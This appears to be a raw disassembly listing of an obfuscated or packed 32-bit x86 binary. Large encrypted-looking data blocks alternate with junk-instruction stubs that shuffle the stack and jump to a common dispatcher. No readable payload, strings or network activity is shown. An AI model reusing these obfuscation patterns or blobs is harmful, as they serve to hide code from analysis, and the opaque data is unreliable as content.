		dd 14D5B77Eh, 4AC5BA0h,	0CEh, 59F0734Eh, 793113D2h, 24D28163h
		dd 6990D539h, 26C76042h, 3D640DABh, 0D7FAC55Bh,	0E4873924h
		dd 758EC83Dh, 905133F2h, 965FE2E1h, 95DE5BB4h, 0DA986177h
		dd 0ACE83F42h, 6C14E96h, 4DEB0833h, 0DA01C2A4h,	0D6633EB3h
		dd 2E477F9Dh, 3935E489h, 392769E9h, 0EF86A4E9h,	0BED625B4h
		dd 586F1EABh, 0A8EE481Fh, 9BB4D281h, 9A4A601Ah,	0BC2CE651h
		dd 0C0DB5077h, 0CBB87A3Fh, 13EC2A8Eh, 0DC8911h,	9C250000h
		dd 0AB516CE1h, 0F67A950Ah, 189FBA2Fh, 24C9E459h, 0D9CB0C81h
		dd 0F8429CEh, 3EB36EF4h, 69DE8323h, 950AAB4Eh, 1E3F995h
		dd 553F4A06h, 0F273C8A0h, 77F8112Fh, 0B09253DAh, 0A419C8EFh
		dd 213FE689h, 1069B88Ah, 11C07FFEh, 0F073C89Ch,	33B64F31h
		dd 1722FD72h, 9F233C5Ah, 903F00E2h, 9D213A72h, 3635F6D8h
		dd 4642F1ACh, 3F49F98Dh, 21A30CA7h, 280EE1Fh, 6F85BDDBh
		dd 32FFCE75h, 0BED9CE1h, 0B126CF72h, 0F47A1396h, 70280A31h
		dd 2E10D157h, 0C6C2BE6Dh, 6283530Eh, 0CA6D1F65h, 189BB62Bh
		dd 5FDE7759h, 2546B496h, 0EB8A2DDFh, 657F95CDh,	0F1E2AC8Fh
		dd 6D88FDACh, 0C61E34CAh, 90E2AC8Fh, 0CD172D4Bh, 89E2AC8Fh
		dd 0B33B1D44h, 0Ah, 0BB3B5481h,	0A45314F6h, 0EE73D9B1h
		dd 35B85133h, 4DF18A6Ch, 952DC6A8h, 0C86D06E8h,	5AA4325h
		dd 46E57E60h, 8024BD9Fh, 0C666FFE1h, 68003D1Fh,	6085h
		db 89h,	2Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], edi
		push	ebp
		mov	ebp, 1F21AFAh
		not	ebp
		shr	ebp, 7
		shl	ebp, 3
		push	ebx
		mov	ebx, 9C5F912h
		xor	ebp, ebx
		pop	ebx
		mov	ecx, ebp
		pop	ebp
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		sub	esp, 4
		mov	[esp], ecx
		pop	dword ptr [edi+8]
		mov	edi, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	ecx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_536D7B
; ---------------------------------------------------------------------------
		db 0BAh
		dd 0AE88C8B1h, 0AC8F6917h, 9FE6F6A5h, 4FB806CDh, 3062534h
		dd 3EE0FFC5h, 3C7CB881h, 3126AF0Fh, 0E950BF5Ch,	0E346FDC5h
		dd 7501A6B7h, 704C1277h, 1A250808h, 0B83B4D93h,	0EB71EDFFh
		dd 611EA204h, 550E915h,	0B44D0000h, 0F3799409h,	1EA2BD32h
		dd 20C7E257h, 4CF10C81h, 1F334A9h, 37AC71F6h, 66DB861Ch
		dd 9106AB4Bh, 0BD32F376h, 0D90B21BDh, 7D3F4A07h, 0CC718AC8h
		dd 87864729h, 0A06143E6h, 0F07339F1h, 31B64F31h, 59DCF76Ch
		dd 9A1DB698h, 6F85BDDBh, 3924D275h, 0BED9CE1h, 0BED5CA72h
		dd 9AFA2CD4h, 763C786h,	486FCEB1h, 0BEBB3F21h, 8223C678h
		dd 0A94CF20Dh, 0D0951934h, 10CD55EEh, 8E57D9F2h, 5A3CEBACh
		dd 0D385CBECh, 0FE198E53h, 42D8BA7Bh, 3925409Fh, 66058026h
		dd 1DB698BFh, 5EF9DB9Ah, 27C779BFh, 0B8DFA082h,	1685CBCCh
		dd 81C56618h, 54D1h, 0F0731B00h, 7E974F31h, 908C3BFAh
		dd 3924D252h, 0D2418788h, 81C5D5D4h, 18Dh, 0F573D700h
		dd 0DAB8D354h, 0BCE44E25h, 0F0B193BAh, 5D73ABC9h, 39253287h
		dd 0F9DB8ACFh, 0FB19D860h, 9D3A2D64h, 0D4836B3Dh, 13D259F2h
		dd 6AB0AD31h, 0FC7130B8h, 22975EE1h, 2FF2734Eh,	6D34B44Dh
		dd 0F2B3364Fh, 0DDE06143h, 8ADC697h, 13C28365h,	0B0CE9314h
		dd 0D2826278h, 8FD43924h, 0AD506BE0h, 0E7892204h, 0D2B33147h
		dd 0E3F93924h, 3924D301h, 609C1055h, 24D29A4Ah,	5077BC39h
		dd 0FA974729h, 0D25745B4h, 629A81C5h, 24C8984Ch, 0CA79BE39h
		dd 9322h, 0F2736C00h, 30B44D2Fh, 0D280647Ah, 91D63924h
		dd 704886Ah, 0CB6E0FC1h, 0F7BA3B56h, 0A5445D15h, 0AF4E4DFCh
		dd 0E98B2406h, 2ECD6648h, 1637A587h, 0A8E0F6D0h, 9A49E88Fh
		dd 7462D117h, 2D81C5D2h, 67h, 2FF27377h, 6F32B44Dh, 0FBB73851h
		dd 24D2FFE5h, 0EB125739h, 7A48F209h, 8CE112B0h,	3BD4B665h
		dd 7C15F7BAh, 0A61BE3F8h, 274EB967h, 0BBBC1E00h, 0FB9A9B75h
		dd 0C34DE4B5h, 31FE43E4h, 5C05A3A2h, 6409AEADh,	138A2D46h
		dd 2DEED091h, 0EE25706h, 4A2CF573h, 24D32DB4h, 64AAAB39h
		dd 0C5D4F7F5h, 1B081h, 73FA0000h, 964E30F1h, 5638E57Dh
		dd 44E7E695h, 2C4DBB9Dh, 0F1B034E6h, 0DB98A17Ch, 0D66C85BDh
		dd 5D807C2Bh, 0EB3F42DAh, 882BC4A6h, 7D93CBE9h,	3306CA67h
		dd 0DABAAEFh, 2540B564h, 0C76A0B82h, 7862CEE5h,	0D56157E2h
		dd 0EDA587AEh, 37B950D4h, 0A4CB8C6Eh, 0D2E9F9F5h, 3DDC3305h
		dd 0D68F26F7h, 66C2B49Bh, 0BE670504h, 0C46D100Fh, 18B1344Fh
		dd 0C3A5CC95h, 0FCDE872Ah, 6132787Bh, 69D11329h, 40853306h
		dd 46EF9291h, 3DFBF9D1h, 253E87E4h, 3AFBDD80h, 12F4BD3Bh
		dd 3FFAA251h, 44000001h, 0F9B83B54h, 0D0575617h, 0BF6E2F11h
		dd 1A383900h, 42EFC504h, 34165B3Fh, 3B59189Bh, 27D69F22h
		dd 4D1497B2h, 0D392162Fh, 718A4224h, 0F00624D1h, 3306B5F4h
		dd 6F6E1D62h, 0C24325CCh, 0C8690B24h, 0B286D84Bh, 0CD7C813Eh
		dd 0AF52044Ah, 0BBB99106h, 7487E3DCh, 46h, 0F18AB3BEh
		dd 5F859BD3h, 0F73924D2h, 1AB9EE5Ch, 0FB22DE9Ch, 1C182E4Ch
		dd 0DA3924E1h, 0C71DB395h, 3B3924E0h, 0A23F43Ah, 5514C362h
		dd 5F7593E8h, 3924E0D5h, 2D6CE077h, 0E145FFACh,	479BE32h
		dd 0A1FAh, 86B3C800h, 3CB9CFEDh, 3C3F42EAh, 39C0D9F7h
		dd 26D59678h, 6908AB44h, 3956D9F4h, 0FAF32883h,	29476E67h
		dd 0BC09DBF1h, 0B24D3306h, 4CDA7DBAh, 0BC6B9240h, 9D9B44DAh
		dd 85243306h, 4BEA8D3Fh, 353EFBD6h, 0B748DF17h,	0B62A93F5h
		dd 0AF3EF9Eh, 7E392B7Fh, 679F5739h, 0E1149351h,	0CF7EC32Ch
		dd 66842DD0h, 14CC182Eh, 458A2CE1h, 8A46B496h, 71C611F3h
		dd 6110819Ch, 0AEC798DEh, 0E9670F08h, 3169AF13h, 0ED6EC0Ah
		dd 482CE106h, 0A4955403h, 0A98B1CFh, 0FDAC6D4Fh, 3B34C9DFh
		dd 0F543306h, 86B3C69Ah, 44B9CFEDh, 443F4A08h, 2D651DFFh
		dd 0FF9DCD17h, 95448932h, 0DD521396h, 94763FC2h, 43C227FEh
		dd 6BA33B46h, 0BB798F55h, 0D382C71Fh, 0D5580A50h, 0F97C970Ch
		dd 46831A38h, 0F27894E1h, 44DDBF6Eh, 0DF8224A5h, 0F7153CFDh
		dd 863BA9BFh, 0D61B1FBBh, 0B6D74527h, 0A23BBE70h, 0BD32591Ch
		dd 495F1FA2h, 1FBB859Bh, 85E9FB11h, 286D1FBBh, 0F7F26FB4h
		dd 0B2491F95h, 169E80A7h, 3, 73A77FE4h,	0B85133EEh, 0F18A6C35h
		dd 2DC6A84Dh, 6D06E895h, 0AA4325C8h, 0E57E6005h, 24BD9F46h
		dd 66FFE180h, 3D1FC6h, 4EC81h, 3C890000h, 81E78924h, 4C7h
		dd 4EF8300h, 5C243C87h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		push	edx
		mov	edx, 25A5764Ah
		inc	edx
		xor	edx, 50EB34B3h
		not	edx
		push	ebp
		mov	ebp, 4EF760Dh
		sub	ebp, 738034D0h
		add	ebp, 0A547F9C3h
		and	edx, ebp
		pop	ebp
		shr	edx, 6
		sub	edx, 0F9E58FBEh
		mov	edi, edx
		pop	edx
		push	esp
		mov	esi, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 8
		add	eax, esi
		mov	[eax], edi
		pop	eax
		mov	esi, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	edi, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_536D7B
; ---------------------------------------------------------------------------
		db 0A4h
		dd 0B4B8738Bh, 3062539h, 25E0FFC5h, 510C1FE7h, 641461D9h
		dd 6357B3E8h, 0D05CB986h, 3F764352h, 0EA1C2496h, 7D3BA77Ch
		dd 420D0CAh, 60281E94h,	3D5404A5h, 59306F64h, 0CF2FCC89h
		dd 0B521C86Bh, 0AD1274F3h, 0E8387995h, 60136DC8h, 0F1421B91h
		dd 9F4734A8h, 6E703CF3h, 0A545C6D8h, 2064EB66h,	0ED08ED28h
		dd 7D5EB074h, 0BD7E2B9Dh, 2620882Dh, 0EB6FC776h, 0A334F904h
		dd 523E901h, 0E0810000h, 7A5C035h, 2ACEE95Eh, 7CFB168Bh
		dd 802540B5h, 352768DDh, 6BE0852Ah, 9207B250h, 0BD32F777h
		dd 0E1561FA2h, 0B52F45E1h, 0A13F4A0Ch, 0F07314ECh, 31B64F31h
		dd 0D2855F75h, 0A2463924h, 3D538F03h, 3924D2A7h, 0C6436AAFh
		dd 48753525h, 0B7D5FC96h, 7254199Eh, 3740A4BAh,	0D1163925h
		dd 6B86FBAAh, 0AE4729C8h, 0EF886A0Bh, 42C6A849h, 0AA4DFF45h
		dd 435C960Bh, 0DE8729A0h, 9714D5B7h, 3A6B11FFh,	403FEEC0h
		dd 0A5DDFBBEh, 251E558Fh, 0DBC0139h, 34F97D98h,	0E065FD16h
		dd 0F2B3955Ch, 0A13A1CCBh, 4725401h, 0EAFA1048h, 6C39251Dh
		dd 1DCA1A30h, 478C3925h, 0A8EE7120h, 51D570F6h,	0D5F0658Ch
		dd 1BB19352h, 39251DC6h, 23DF7612h, 803367BDh, 75BB3EEDh
		dd 0C4E30806h, 3AB44B81h, 0E1302608h, 671FC776h, 69000000h
		dd 4F31F073h, 24D329B9h, 0DD15B139h, 24D31DC7h,	6914AE39h
		dd 7C92B0F5h, 3924D268h, 77FAA9EEh, 0D4C4C231h,	17D81C5h
		dd 0C7000000h, 0E2CF573h, 31E7B977h, 0D887D049h, 16DF5DF6h
		dd 0FF1C9B34h, 9916A5B4h, 16F81FDFh, 9863FA92h,	0BE9AC251h
		dd 589E21D0h, 0D142F087h, 0C72B21A6h, 0D2931918h, 0F6BF425Dh
		dd 0F273AD81h, 34B44D2Fh, 70A8B6Dh, 0CB6E0FC1h,	501194ADh
		dd 0D9F22CA1h, 0DEDD8C49h, 1FB89A5Bh, 1FB6D49Dh, 6EF4B676h
		dd 5F41F0C3h, 5DCC12AFh, 81C51E6Fh, 80647AB2h, 0D639257Ch
		dd 8C3AE291h, 84000000h, 112FF273h, 0CFB170F8h,	0E47D5F0Eh
		dd 0EC83A140h, 2EFA193h, 8AA0BE59h, 39255C5Ah, 2608B7FCh
		dd 8E5FA5A2h, 5133F275h, 5DE2E190h, 67082398h, 0ED0DA4C2h
		dd 955CDBE7h, 96394818h, 0CD6C05E7h, 2EEB5ECEh,	50F20614h
		dd 0DB02C3A5h, 8522D2B4h, 1BE2D03Fh, 4C9B81C5h,	0E5000000h
		dd 112FF273h, 0D0B277F8h, 0C67E600Fh, 0E9F0A02Fh, 255511D3h
		dd 83004539h, 0D855A293h, 0BC5D9AFDh, 0D2D18049h, 0CA7892Ch
		dd 0F075276Dh, 54E4B82Dh, 4BFAA73Bh, 2305AC4Ch,	24D2548Dh
		dd 3D838439h, 0C5D4D0CEh, 18981h, 73D30000h, 964E30F1h
		dd 0DF60E57Dh, 5011F31Ah, 561FA2A1h, 9FE50674h,	35AA4BEDh
		dd 7492DF5Ah, 0DD84233Ch, 0D33BA9BFh, 0D61B3924h, 0DAB22B27h
		dd 0D3EC3F42h, 0EBAC8E53h, 0A183C83Ch, 499BB1E9h, 0D3306CBh
		dd 971A19C8h, 1597B0CEh, 0CAA53F55h, 6CB13306h,	3A24645h
		dd 21C4DF54h, 0DA089E80h, 0EB3306CAh, 0D154064Ch, 53D9F210h
		dd 536EE392h, 772F11D0h, 0B93DD85Eh, 1F1ECDF4h,	20B7D59Ch
		dd 0ECD350C7h, 4F129489h, 16977928h, 981BCD13h,	8E8C64D9h
		dd 4787E3F9h, 130h, 1586B391h, 8BA9D08Dh, 42EF5475h, 0A587CC3Fh
		dd 53C8690Ch, 4896B538h, 0B0973851h, 47E0C2E9h,	9A1BFDA4h
		dd 1C9F5197h, 0A08E055h, 0C387E49Bh, 51h, 0F18AB30Dh, 0D377BDD3h
		dd 9DD53924h, 24D25D87h, 0B5B4F939h, 0CC8D6F36h, 8264A91Dh
		dd 24D2F8ECh, 556E0A39h, 6C2D0FD6h, 82F43ABDh, 8298B6BBh
		dd 3924D2B2h, 34E1819Ah, 0EB929152h, 0E2279B4Ah, 0B6636Dh
		dd 0B2CB0000h, 49E8900Dh, 0D07F4022h, 0ED86B318h, 0EA3CB9CFh
		dd 0F73C3F42h, 38F97C15h, 5C05A8C3h, 0BCFBE47Ah, 25C43306h
		dd 0EB8A2DDFh, 0EB043C76h, 38ACA849h, 743306BBh, 6BA865Eh
		dd 178BD033h, 0D56423D2h, 0C0657E9Ch, 0BAD41026h, 3D823306h
		dd 33496716h, 392BF596h, 5292A8E0h, 42CE180h, 579C10BFh
		dd 0D9982039h, 0CAF482Ah, 0F90F4765h, 2CE17FEBh, 0CB192F6Bh
		dd 8B2CE17Fh, 8E701F46h, 0CEB06DF5h, 0AECB135h,	7FA83C52h
		dd 69AE2CE1h, 542E7495h, 0A7195F80h, 8BC3E192h,	7F948F4h
		dd 0E172F3F1h, 0A11E632Ch, 0FE7F4059h, 6965143Bh, 3306CE60h
		dd 32067BC0h, 0CFED86B3h, 4A0E10B9h, 70F3103Fh,	6A9154D9h
		dd 90A96143h, 9D9C4BEEh, 0CBE65B1Ah, 11A78928h,	3A860C6Eh
		dd 0C2D810A8h, 2B792322h, 4EF0EF34h, 5908C9ABh,	5BDE90D6h
		dd 2E447C9Ah, 2B7922B6h, 37AC5BA0h, 0F6D8991Ch,	3517DE5Dh
		dd 0AE60A6C7h, 0DAF56A0Bh, 0D9708E57h, 9995BA55h, 0D21228C2h
		dd 842B7935h, 8769183Fh, 3FFh, 0A77FCD00h, 5133EE73h, 8A6C35B8h
		dd 0C6A84DF1h, 6E8952Dh, 4325C86Dh, 7E6005AAh, 0BD9F46E5h
		dd 0FFE18024h, 3D1FC666h, 0E3895300h, 4C381h, 0BF570000h
		dd 4, 875FFB29h, 525C241Ch, 0C281E289h,	4, 4EA81h, 14870000h
		dd 1C895C24h, 2F536824h, 0C890000h, 3AF26824h, 1C8B0625h
		dd 4C48324h, 8904EC83h,	4812424h, 424h,	53525900h, 0EB242C81h
		dd 5A2E8705h, 5EBC281h,	51892E87h, 34FF5A08h, 0C4815924h
		dd 4, 51241C8Bh, 0C181E189h, 4,	8704C183h, 0E95C240Ch
		dd 0FFF93F93h, 87898024h, 5DED00D1h, 3F89B8F1h,	0C5030625h
		dd 7569E0FFh, 95415158h, 0B6EA6131h, 388F22ECh,	0A1270442h
		dd 642A6071h, 0B8CF7635h, 0BAFC1DA6h, 47EA42E2h, 4BFC0D8Fh
		dd 5AF76F4Eh, 9F212756h, 0C73B1826h, 363C0FF1h,	711C67D6h
		dd 767B1AC5h, 7BB11A79h, 0F35F1D34h, 4EB64E1h, 30277A24h
		dd 53FE9h, 0B4610200h, 0DD84243Fh, 0AAB4D68h, 32F37A95h
		dd 581DA2BDh, 0A5B0A2E3h, 0CDE85D00h, 0F8138835h, 233EB376h
		dd 6C6CE180h, 132ABAD0h, 772C3F4Ah, 31F0739Fh, 6C31B64Fh
		dd 9859DCF7h, 859A1DB6h, 0C18CA83Eh, 5E406715h,	9C7E27C5h
		dd 0DCBE6303h, 78D48AC5h, 0F6F5296Bh, 6A875D72h, 962F0AE7h
		dd 0BFD58D6Fh, 39258F25h, 4CEBEC31h, 45422C06h,	33AA4DFFh
		dd 53C8EFB2h, 7EF3B638h, 3C1EC363h, 556B1FA3h, 39258E8Fh
		dd 795B82C7h, 0F2A4EA0Bh, 0FA34A94Ch, 0A4BA3663h, 6A0D5F03h
		dd 0F6F5A4CBh, 3AD0B273h, 39255AA7h, 7BEA3031h,	81C54C7Dh
		dd 8C36h, 3B548000h, 4847F6BBh,	0DF8224A5h, 0B52F45FDh
		dd 0A13924D2h, 0F00E355Ch, 839951D7h, 3924D261h, 0A789B0F5h
		dd 0BF5537E6h, 3924D323h, 7C5E03A4h, 0BA9C45E3h, 603A801Fh
		dd 0BE2D7374h, 81C5D4C0h, 179h,	3B54C300h, 7912F4BDh, 0A0930F5h
		dd 1BDCBE67h, 26CF6D6Ch, 640DAB44h, 0A342E982h,	6DA53DC1h
		dd 24D28D57h, 0D584C939h, 0D25A0C52h, 0A7BDF513h, 3924D33Dh
		dd 0B025D419h, 3EDF5D76h, 5112F4B9h, 0D887482Ah, 1A8F56D9h
		dd 2FF27346h, 475D954Dh, 3924D29Dh, 405674B9h, 3924D2A4h
		dd 0BFBE6DB2h, 15967839h, 0E2FBCC12h, 0EBEA995Ch, 842DCF4Ah
		dd 95AEE85Dh, 0A4405610h, 0B23924D2h, 0AC64466Dh, 24D34E96h
		dd 9CC30839h, 0A822E21Fh, 6C1BC795h, 492BCA6Dh,	3C0AFA91h
		dd 0BE4F206Ah, 0C56C100Fh, 0F4F510A7h, 661C295h, 28C57557h
		dd 388573E2h, 0AFC881C5h, 0EB6650Ch, 97h, 0D4BD5458h, 0E62F5286h
		dd 6914AEADh, 1817C687h, 38F0D297h, 0E9FAEA00h,	6C533924h
		dd 9ED2965Fh, 0B05FA418h, 48660FB1h, 3BEA8F2Fh,	0A63DD559h
		dd 309FA2BFh, 0CA71700Bh, 0D988492Bh, 73F1056h,	24DCF3F1h
		dd 6F1E6339h, 0B52ACF70h, 6E50159Ah
		dd 36B756D5h, 0BA6A4C73h, 7A68D71Dh, 3381C5C8h,	60h, 1BC9DF17h
		dd 3B3924D3h, 738F47F6h, 0B44D2FF2h, 49B11932h,	0C5FB1FD9h
		dd 3259803Dh, 67ED7D14h, 1A0AC61Dh, 4FEE896Bh, 3BD65709h
		dd 5213F5BCh, 73E2B62Bh, 0F50E2CF5h, 1F01B06Dh,	24D25889h
		dd 397F8039h, 0C5D4CCCAh, 0DF780F81h, 5094AAACh, 63924A1h
		dd 4C5144C1h, 1D07827h,	1A000000h, 4E30F173h, 557332B5h
		dd 15F7BA3Ch, 55C3A554h, 994B6199h, 0BD3924D2h,	32F37978h
		dd 8BA0083h, 6D48BD64h,	7389A7CCh, 3F42DA6Ah, 1EB799DEh
		dd 4A65DA9Bh, 861CFEA7h, 3306CA5Ch, 0B384CA69h,	4F4E179Ah
		dd 67280AAFh, 6F36B9B8h, 955CDFFAh, 0CE971AB3h,	22686BECh
		dd 0EDB43851h, 0F5BC3F3Eh, 8B2D4680h, 817F3BEAh, 0C487E3DCh
		dd 85670AABh, 466D15C4h, 51000001h, 92B4A2BAh, 0B6D48F16h
		dd 68144A0h, 1ECD1233h,	2BBD5466h, 98395B44h, 91671B99h
		dd 0F9090F14h, 10D1B372h, 0BE7B3AE9h, 488197B5h, 0D83F430Ah
		dd 0E12FA13Dh, 0D0F7A139h, 80647AB2h, 0CD33069Ah, 0E7070C07h
		dd 45B993h, 53D66F51h, 7F021D92h, 0B83BD4B6h, 939617F9h
		dd 59189B4Dh, 400E0CE4h, 67C787E4h, 11000000h, 0D3F18AB3h
		dd 24D377BDh, 0DC627F39h, 0D2D80C22h, 397E3924h, 56193012h
		dd 58F814F1h, 0BEA0C7EEh, 24FCBC28h, 0FF454639h, 9BE8972Eh
		dd 0B1DAFBA2h, 81FA4302h, 0CF152B63h, 8739253Eh, 5F759342h
		dd 39253ED5h, 27BEDC21h, 0D7FD1B5Dh, 69DE8D47h,	2796982Fh
		dd 1B40D5D2h, 2B513B9Eh, 0B8671881h, 78CAh, 86B39800h
		dd 3CB9CFEDh, 3C3F42EAh, 0F97C15F7h, 5A8C338h, 0FBE47A5Ch
		dd 0C43306BCh, 0B739528Ah, 4F4B0CEEh, 3306BA95h, 4ACD7CC1h
		dd 6AF5204h, 1683B691h,	30F1D392h, 73D5EB09h, 0AB392BFBh
		dd 8C2F4866h, 7B0CD8EEh, 54A2CE1h, 8C3BFCDEh, 0C76E11AAh
		dd 6AB4CE5h, 49E88B24h,	4A7A667h, 41E07B5Dh, 2A349FBh
		dd 0A0E607DBh, 48660B2Eh, 6BB1632h, 4EC30833h, 0ED86B37Ah
		dd 638197CFh, 0F33924D2h, 0CBE1FFAEh, 3F4A137Dh, 253E5CA1h
		dd 4F31E09Dh, 0FD7233B6h, 0B4965FE2h, 1D28B1Eh,	0A726CA69h
		dd 53355C05h, 706F36BAh, 0C24325CCh, 0B59F79BFh, 3DC072B8h
		dd 41E4FF74h, 9A7C25C8h, 0D9BB7A01h, 0E8CAF118h, 8A31A84Fh
		dd 214809EBh, 6AB0D13Fh, 0F76C35B8h, 5C05A4BDh,	0B0AB97Ah
		dd 5FE7C968h, 3, 73A77F2Dh, 0B85133EEh,	0F18A6C35h, 2DC6A84Dh
		dd 6D06E895h, 0AA4325C8h, 0E57E6005h, 24BD9F46h, 66FFE180h
		dd 3D1FC6h, 6C2B68h, 24148900h,	21ED68h, 240C8900h, 5E08950h
		dd 4, 42Dh, 24048700h, 2434895Ch, 25407168h, 240C8B06h
		dd 5404C483h, 8124348Bh, 4C4h, 8BA5200h, 1000000h, 8B0A89F2h
		dd 0C4832414h, 24348B04h, 81E28952h, 4C2h, 4C28100h, 87000000h
		dd 0FF5C2414h, 81592434h, 4C4h,	39F5E900h, 0B485FFF9h
		dd 6A873CF4h, 25453CB8h, 0FFC50306h, 32626BE0h,	3AD9437Ch
		dd 0C69FBD2Bh, 0A98CDC32h, 0A4B1FC30h, 0D3CC6148h, 33C77B6Ah
		dd 0EFCE040Ch, 9A13D602h, 250FF40Eh, 0E9B32645h, 5A0BE052h
		dd 0B107DE7Ah, 0B48D8D4Fh, 6A062546h, 3E85300h,	20000000h
		dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 62EBC353h
		dd 9F0BDF85h, 0FF81CD8h, 884h, 9D295700h, 61E04F1h, 758D8958h
		dd 89061E23h, 1E2F6D85h, 4D85C706h, 10061E32h, 5100006Bh
		dd 25D59D8Bh, 8A5A061Eh, 6985C7C7h, 61E31h, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 15042444h
		dd 42000000h, 4A12C352h, 2991B5FFh, 9D89061Eh, 61E2051h
		dd 2BE99529h, 95FF061Eh, 61E16B9h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Bh, 75C35646h, 0F40DC726h, 0B749F17h
		dd 1E1431BDh, 0FF006A06h, 1E26C195h, 0EBC08B06h, 0D6C2B91Fh
		dd 9EEFA82Ah, 3F8876Ah,	76DAC823h, 0DFB8A45Fh, 57BD7484h
		dd 23096656h, 0F34B2C8Eh, 1F0C04EBh, 21E95C6Ch,	90000005h
		dd 0B6D146F3h, 0DFFA6F36h, 41F945Dh, 2C47BC65h,	3071E68Bh
		dd 0EFB2333Eh, 16C35F7Ah, 3DE086A1h, 6B0AADC8h,	445AF6F6h
		dd 3F4A18A0h, 732901B6h, 0B64F31F0h, 0DCF76C31h, 1DB69859h
		dd 0A4BDDB9Ah, 0D0B26100h, 1ACAE018h, 3C3924D3h, 0A77CDFA1h
		dd 0F0179589h, 23BA4241h, 63FCDE83h, 7E3F21C0h,	0CA4E3057h
		dd 1FB687CDh, 99DC367Eh, 61600FE7h, 0DA0A20DEh,	7C39258Ah
		dd 809B1037h, 0ABC63BFEh, 2F48660Bh, 6B04E693h,	840128C9h
		dd 0BAFDB68Dh, 0EDCF7EE5h, 0C4699E35h, 9A454619h, 0AB56ECEBh
		dd 0F43A5BC9h, 84F9BC42h, 3D1FC669h, 25C73AA7h,	0CA029E39h
		dd 25C730B4h, 32E12639h, 0FCFA69AFh, 0B581C4E0h, 6Bh, 31F073FFh
		dd 495F974Fh, 3924D29Bh, 0CBC776BBh, 3924D317h,	0AB7CC2C3h
		dd 0D2875D73h, 0F253924h, 3924D2D5h, 83C83C81h,	0D2954F65h
		dd 7CC13924h, 0D41311CDh, 11CC81C5h, 0B0000000h, 2C3D3E19h
		dd 8E0BF9D5h, 2C53B45h,	3FF7A609h, 4A2CF573h, 886A0BB1h
		dd 0C7A948EFh, 4E004643h, 779207AEh, 7EB82DF4h,	3B1DC065h
		dd 7313CB7Ah, 0CD557F2h, 0C26A03E5h, 0BDC04123h, 7D20C577h
		dd 0AB4AED08h, 0E58C30C9h, 21B5303h, 17D8BA7Bh,	0CE9FE568h
		dd 8D6F36B5h, 73611DCCh, 2C81C5D2h, 96h, 2FF27376h, 21C3D911h
		dd 353924D3h, 0C65F41F0h, 1DA18322h, 8728DA20h,	1A336DE2h
		dd 2BECCE97h, 35F87D7Ch, 0B578FE17h, 0C2712CB6h, 1A047E0h
		dd 6AE3861Fh, 1AFC23C2h, 5739FC81h, 0B38DD3D6h,	172D659Dh
		dd 3924D2CDh, 0A7454489h, 86CC4FFEh, 3EBF1EB5h,	69E68F2Dh
		dd 6E1D00BFh, 0C4FFC4B2h, 647D81h, 54C70000h, 0A94AB9BDh
		dd 7D2CF270h, 1634F97Eh, 0D4B67FFDh, 5DFF513h, 51392546h
		dd 0E27B5D0Ch, 627B995Ch, 753618DDh, 0AA49E4C6h, 680DB264h
		dd 0F5731FF3h, 0CA009AD6h, 6309E38Bh, 0F81FE0C2h, 657BB3D1h
		dd 3925447Fh, 1E392D7h,	2544766Bh, 1B616239h, 0C562AEACh
		dd 86781h, 324B0000h, 4203E590h, 0F173DB93h, 0C4DA1230h
		dd 3924D320h, 6042F136h, 9B7D24C7h, 0D3B56002h,	0EF0B53Ah
		dd 6A448A8Dh, 0D043DA96h, 0A24F3A14h, 0D51B9E4Dh, 6BE08123h
		dd 4FF0A990h, 0A38530D2h, 7694BBE2h, 43B57D60h,	0A486CB3Fh
		dd 7D73680Bh, 26CB6BD6h, 3C068344h, 46BBE2DCh, 7E9882Bh
		dd 0ECB1364Fh, 742CB8CEh, 0E52A3307h, 73A83A36h, 7E1D3307h
		dd 42E38638h, 660FB2CDh, 6BF71048h, 7432B2AEh, 0DF243307h
		dd 32B54E30h, 75571A9Bh, 12AB8DB4h, 4EE7C96Ch, 0B92709B4h
		dd 91785298h, 1396488Eh, 705DD52h, 0C087E334h, 108h, 0ED86B30Ah
		dd 0F97E97CFh, 0F25472DEh, 5C832CBDh, 0E0AB97Ah, 3F43EBBBh
		dd 0A53E2065h, 0D3EE6302h, 16AF9150h, 6FF0D293h, 6F2AB8D1h
		dd 4F4FCC8Dh, 16163B08h, 0F238BB6Ah, 0C1600821h, 706F1EDFh
		dd 0D7AF24CDh, 87E38DD9h, 6392h, 8AB3DC00h, 0EED09519h
		dd 0CFE8062Dh, 0DA68829h, 0F09FC66Fh, 0D378BCD2h, 0BBD43924h
		dd 0D6977938h, 506EB327h, 43F2B737h, 0D319CB61h, 0E8E93924h
		dd 0E0D30A2h, 0B039A4C9h, 0E7052CF4h, 531296AFh, 6110D154h
		dd 2548CF65h, 0C4647D39h, 0B5FA6E1Dh, 3BFA7E97h, 610D178Ch
		dd 75000000h, 0BE40D95Ch, 6D25D4FBh, 0CFED86B3h, 42EA3CB9h
		dd 15F73C3Fh, 0C338F97Ch, 7A5C05A8h, 6BCFBE4h, 0DF25C433h
		dd 76EB8A2Dh, 0B7D59E9Bh, 0FAE5E87Fh, 0A1ADDB35h, 58C4F6F2h
